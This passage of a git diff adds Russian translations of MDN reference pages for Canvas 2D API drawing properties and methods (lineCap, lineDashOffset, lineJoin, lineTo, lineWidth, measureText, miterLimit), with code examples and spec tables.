+slug: Web/API/CanvasRenderingContext2D/lineCap
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/lineCap
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.lineCap</code></strong> предоставляемое Canvas 2D API определяет, как будут выглядеть концы нарисованных линий. </p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Линии могут быть нарисованы с помощью методов {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}}, и {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}} methods.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><em>ctx</em>.lineCap = "butt" || "round" || "square";</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>Концы линий прямые.</dd>
+ <dt><code>round</code></dt>
+ <dd>Концы линий скругленные.</dd>
+ <dt><code>square</code></dt>
+ <dd>Концы линий прямые, но к ней с обоих концов добавляется поле с шириной равной толщине линии и высотой равной половине от толщины линии.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_lineCap_property" name="Using_the_lineCap_property">Использование свойства lineCap</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий <code>lineCap.</code></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineWidth = 15;
+ctx.lineCap = 'round';
+ctx.lineTo(100, 100);
+ctx.stroke();</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Использование_свойства_lineCap', 700, 180) }}</p>
+
+<h3 id="A_lineCap_example" name="A_lineCap_example">Разница между значениями lineCap</h3>
+
+<p>В примере нарисованы три линии с разными значениями <code>lineCap</code>. Для наглядности мы добавим две направляющие. Каждая линия будет начинаться и заканчиваться этими направляющими.</p>
+
+<p>Левая линия будет использовать значение lineCap <code>"butt"</code>. Она не будет выходить за направляющие. Средняя линия будет нарисована со занчением lineCap <code>"round"</code>. За направляющие будут выходить полукруги с диаметром равным толщине линии. Правая линия будет использовать значение <code>"square"</code>. Она будет выходить за направляющие на поля с шириной равной толщине линии и высотой равной половине толщины.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+const lineCap = ['butt', 'round', 'square'];
+
+// Draw guides
+ctx.strokeStyle = '#09f';
+ctx.beginPath();
+ctx.moveTo(10, 10);
+ctx.lineTo(140, 10);
+ctx.moveTo(10, 140);
+ctx.lineTo(140, 140);
+ctx.stroke();
+
+// Draw lines
+ctx.strokeStyle = 'black';
+for (let i = 0; i &lt; lineCap.length; i++) {
+  ctx.lineWidth = 15;
+  ctx.lineCap = lineCap[i];
+  ctx.beginPath();
+  ctx.moveTo(25 + i * 50, 10);
+  ctx.lineTo(25 + i * 50, 140);
+  ctx.stroke();
+}</pre>
+
+<p>{{EmbedLiveSample("Разница_между_значениями_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linecap", "CanvasRenderingContext2D.lineCap")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместиммоссть_с_браузерами">Совместиммоссть с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineCap")}}</p>
+
+<h3 id="Особенности_WebKitBlink">Особенности WebKit/Blink</h3>
+
+<ul>
+ <li>В браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод <code>ctx.setLineCap()</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данное свойство {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineWidth")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineJoin")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html
new file mode 100644
index 0000000000..ec4db4e6e2
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html
@@ -0,0 +1,149 @@
+---
+title: CanvasRenderingContext2D.lineDashOffset
+slug: Web/API/CanvasRenderingContext2D/lineDashOffset
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/lineDashOffset
+---
+<div>{{APIRef}}</div>
+
+<div></div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D.lineDashOffset</strong></code> в Canvas 2D API устанавливает смещение штрихов, или «фаза».</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Линии нарисованы вызовом метода  {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.lineDashOffset = <em>value</em>;
+</pre>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Число с плавающей запятой, определяющее величину смещения штрихов линии. Значением по умолчанию является 0,0.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Смещение_штрихов">Смещение штрихов</h3>
+
+<p>Этот пример рисует две пунктирные линии. Первая не имеет смещения. Вторая имеет смещение 4.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[15]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.setLineDash([4, 16]);
+
+// Пунктирная линия без смещения
+ctx.beginPath();
+ctx.moveTo(0, 50);
+ctx.lineTo(300, 50);
+ctx.stroke();
+
+// Пунктирная линия со смещением 4
+ctx.beginPath();
+ctx.strokeStyle = 'red';
+ctx.lineDashOffset = 4;
+ctx.moveTo(0, 100);
+ctx.lineTo(300, 100);
+ctx.stroke();
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>Линия со смещением будет нарисована красным цветом.</p>
+
+<p>{{ EmbedLiveSample('Смещение_штрихов', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p>
+
+<h3 id="Эффект_марширующих_муравьев">Эффект марширующих муравьев</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/Marching_ants">Эффект марширующих муравьев</a> - это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу..</p>
+
+<div class="hidden">
+<h6 id="HTML_2">HTML</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+let offset = 0;
+
+const draw = () =&gt; {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10, 10, 100, 100);
+}
+
+const march = () =&gt; {
+  offset++;
+  if (offset &gt; 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();
+</pre>
+
+<p>{{ EmbedLiveSample('Эффект_марширующих_муравьев', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linedashoffset", "CanvasRenderingContext2D.lineDashOffset")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineDashOffset")}}</p>
+
+<h3 id="Специфичные_для_Gecko_заметки">Специфичные для Gecko заметки</h3>
+
+<ul>
+ <li><code>mozDashOffset</code>  свойство будет объявлено устаревшим и будет удалено в будущем, смотрите {{bug(931643)}}. Вместо него используйте <code>lineDashOffset</code>.</li>
+</ul>
+
+<h3 id="Специфичные_для_WebKit_заметки">Специфичные для WebKit заметки</h3>
+
+<ul>
+ <li>В браузерах на основе WebKit (например, Safari) помимо этого метода реализовано нестандартное и устаревшее свойство <code>webkitLineDashOffset</code>. Вместо него используйте <code>lineDashOffset</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Применение стилей и цвета</a></li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html
new file mode 100644
index 0000000000..afdeff96d3
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html
@@ -0,0 +1,143 @@
+---
+title: CanvasRenderingContext2D.lineJoin
+slug: Web/API/CanvasRenderingContext2D/lineJoin
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/lineJoin
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.lineJoin</code></strong> предоставляемое Canvas 2D API определяет форму вершин в которых линии сходятся. Длина линий должна быть ненулевой.</p>
+
+<p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Lines can be drawn with the {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}}, and {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}} methods.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><em>ctx</em>.lineJoin = "bevel" || "round" || "miter";</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Свойство может принимать три значения: <code>round</code>, <code>bevel</code> и <code>miter</code>. По умолчанию установленно значение <code>miter</code>. Имейте ввиду, что свойство никак не повлияет на линии направленные в одну сторону, потому что не будет создана зона пересечения.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round</code></dt>
+ <dd>Скругляет углы засчет добавления сектора с центром в точке пересечения линий и радиусом равным толщине линии.</dd>
+ <dt><code>bevel</code></dt>
+ <dd>"Срезает" угол, рисуя треугольник с вершинами в точке пересечения линий и крайних точках каждой линии.</dd>
+ <dt><code>miter</code></dt>
+ <dd>Соединяет линии в одной точке, расширяя для этого их границы и заполняя пространство ромбами . Установка этого эффекта осуществляется свойством {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_lineCap_property" name="Using_the_lineCap_property">Использование свойства lineJoin</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий <code>lineJoin</code> для скругления места соединения линий.</p>
+
+<p> </p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre><code>&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre><code>const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.lineWidth = 20;
+ctx.lineJoin = 'round';
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineTo(190, 100);
+ctx.lineTo(280, 20);
+ctx.lineTo(280, 150);
+ctx.stroke();</code></pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Changing_the_joins_in_a_path', 700, 180) }}</p>
+
+<p> </p>
+
+<h3 id="A_lineJoin_example" name="A_lineJoin_example">Разница между значениями lineJoin</h3>
+
+<p>Пример ниже наглядно демонстрирует разницу между значениями свойства <code>lineJoin.</code></p>
+
+<p> </p>
+
+<div class="hidden">
+<pre><code>&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</code></pre>
+</div>
+
+<pre><code>var ctx = document.getElementById('canvas').getContext('2d');
+var lineJoin = ['round', 'bevel', 'miter'];
+ctx.lineWidth = 10;
+
+for (let i = 0; i &lt; lineJoin.length; i++) {
+  ctx.lineJoin = lineJoin[i];
+  ctx.beginPath();
+  ctx.moveTo(-5, 5 + i * 40);
+  ctx.lineTo(35, 45 + i * 40);
+  ctx.lineTo(75, 5 + i * 40);
+  ctx.lineTo(115, 45 + i * 40);
+  ctx.lineTo(155, 5 + i * 40);
+  ctx.stroke();
+}</code></pre>
+
+<p>{{EmbedLiveSample("Comparison_of_line_joins", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linejoin", "CanvasRenderingContext2D.lineJoin")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_брузерами">Совместимость с брузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineJoin")}}</p>
+
+<p> </p>
+
+<h2 id="Особенность_WebKitBlink">Особенность WebKit/Blink</h2>
+
+<ul>
+ <li>
+  <p>В<span id="cke_bm_84C" style="display: none;"> </span> браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод <code>ctx.setLineJoin()</code>.</p>
+ </li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данное свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineCap")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineWidth")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html
new file mode 100644
index 0000000000..b09732cc5e
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html
@@ -0,0 +1,116 @@
+---
+title: CanvasRenderingContext2D.lineTo()
+slug: Web/API/CanvasRenderingContext2D/lineTo
+tags:
+  - API
+  - Canvas
+  - Method
+translation_of: Web/API/CanvasRenderingContext2D/lineTo
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>lineTo()</strong></code> - метод {{domxref("CanvasRenderingContext2D")}}, часть Canvas 2D API, добавляет линию к текущему под пути с конечной точкой с короординатами <code>(x, y)</code>.</p>
+
+<p>Сам метод ничего не рисует, он лишь добавляет подпуть к текущему пути, предоствляя его таким методам, как {{domxref("CanvasRenderingContext2D.fill", "fill()")}} и {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}, отрисовывающим сам путь.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.lineTo(<em>x</em>, <em>y</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>OX значение конца линии.</dd>
+ <dt><code>y</code></dt>
+ <dd>OY значение конца линии.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Рисование_прямых_линий">Рисование прямых линий</h3>
+
+<p>Этот пример рисует прямую линию используя метод <code>lineTo()</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Линия начинается в точке (30, 50), а заканчивается в точке (150, 100).</p>
+
+<pre class="brush: js; highlight:[6]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();       // Начинает новый путь
+ctx.moveTo(30, 50);    // Рередвигает перо в точку (30, 50)
+ctx.lineTo(150, 100);  // Рисует линию до точки (150, 100)
+ctx.stroke();          // Отображает путь</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Рисование_прямых_линий', 700, 180) }}</p>
+
+<h3 id="Рисование_соединенных_линий">Рисование соединенных линий</h3>
+
+<p>Каждый вызов <code>lineTo()</code> автоматически добавляет текущий подпуть, это означает, что все линии будут обведены и закрашены вместе. Этот пример рисует букву 'M' линиями одного пути.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.moveTo(90, 130);
+ctx.lineTo(95, 25);
+ctx.lineTo(150, 80);
+ctx.lineTo(205, 25);
+ctx.lineTo(210, 130);
+ctx.lineWidth = 15;
+ctx.stroke();</pre>
+
+<h4 id="Результаты">Результаты</h4>
+
+<p>{{ EmbedLiveSample('Рисование_соединенных_линий', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-lineto", "CanvasRenderingContext2D.lineTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineTo")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий этот метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.moveTo()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html
new file mode 100644
index 0000000000..e16000bc2d
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html
@@ -0,0 +1,179 @@
+---
+title: CanvasRenderingContext2D.lineWidth
+slug: Web/API/CanvasRenderingContext2D/lineWidth
+translation_of: Web/API/CanvasRenderingContext2D/lineWidth
+---
+<div>{{APIRef}}</div>
+
+<p><code>Свойство<strong> CanvasRenderingContext2D</strong></code><strong><code>.lineWidth</code></strong>, предоставляемое Canvas 2D API задает толщину линий в пикселах. При получении свойства возвращается его текущее значение. При задании свойства, присваиваемое значение должно быть положительным числом, ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.</p>
+
+<p>См. также главу  <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.lineWidth = value;</var></pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Число, задающее толщину линии в пикселах. Ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_lineWidth_property" name="Using_the_lineWidth_property">Использование свойства lineWidth</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий lineWidth.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[6]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineWidth = 15;
+ctx.lineTo(100, 100);
+ctx.stroke();
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineWidth = 15;
+ctx.lineTo(100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linewidth", "CanvasRenderingContext2D.lineWidth")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возожность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Особенности_WebKitBlink">Особенности WebKit/Blink</h2>
+
+<ul>
+ <li>В браузерах на базе WebKit и Blink, помимо этого свойства также поддерживается нестандартный метод <code>ctx.setLineWidth()</code>.</li>
+</ul>
+
+<h2 id="Особенности_Gecko">Особенности Gecko</h2>
+
+<ul>
+ <li>В Gecko ниже 2.0 версии, при задании lineWidth отрицательного значения выбрасывалось исключение.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineCap")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineJoin")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html b/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html
new file mode 100644
index 0000000000..20efc3672c
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html
@@ -0,0 +1,69 @@
+---
+title: CanvasRenderingContext2D.measureText()
+slug: Web/API/CanvasRenderingContext2D/measureText
+translation_of: Web/API/CanvasRenderingContext2D/measureText
+---
+<div>{{APIRef}}</div>
+
+<p><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Метод </span></font><code><strong>CanvasRenderingContext2D</strong></code><strong><code><span>.measureText(),</span></code></strong> предоставляемый Canvas 2D API, возвращает объект {{domxref("TextMetrics")}}, содержащий информацию об измеренном тексте (например, ширину).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.measureText(<em>text</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>Строка {{jsxref("String")}} для измерения.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект {{domxref("TextMetrics")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Используя элемент {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>... вы можете получить объект {{domxref("TextMetrics")}}, используя следующий код:</p>
+
+<pre class="brush: js; highlight:[4]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+let text = ctx.measureText('Hello world');
+console.log(text.width);  // 56;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-measuretext", "CanvasRenderingContext2D.measureText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.measureText")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий этот метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html b/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html
new file mode 100644
index 0000000000..f22e392449
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html
@@ -0,0 +1,118 @@
+---
+title: CanvasRenderingContext2D.miterLimit
+slug: Web/API/CanvasRenderingContext2D/miterLimit
+translation_of: Web/API/CanvasRenderingContext2D/miterLimit
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <strong>CanvasRenderingContext2D.miterLimit</strong> устанавливает/возвращает максимальную длину среза.</p>
+
+<p>Длина среза это расстояние между внутренним и внешнем углом, образованным пересечением двух линий.</p>
+
+<div class="note">
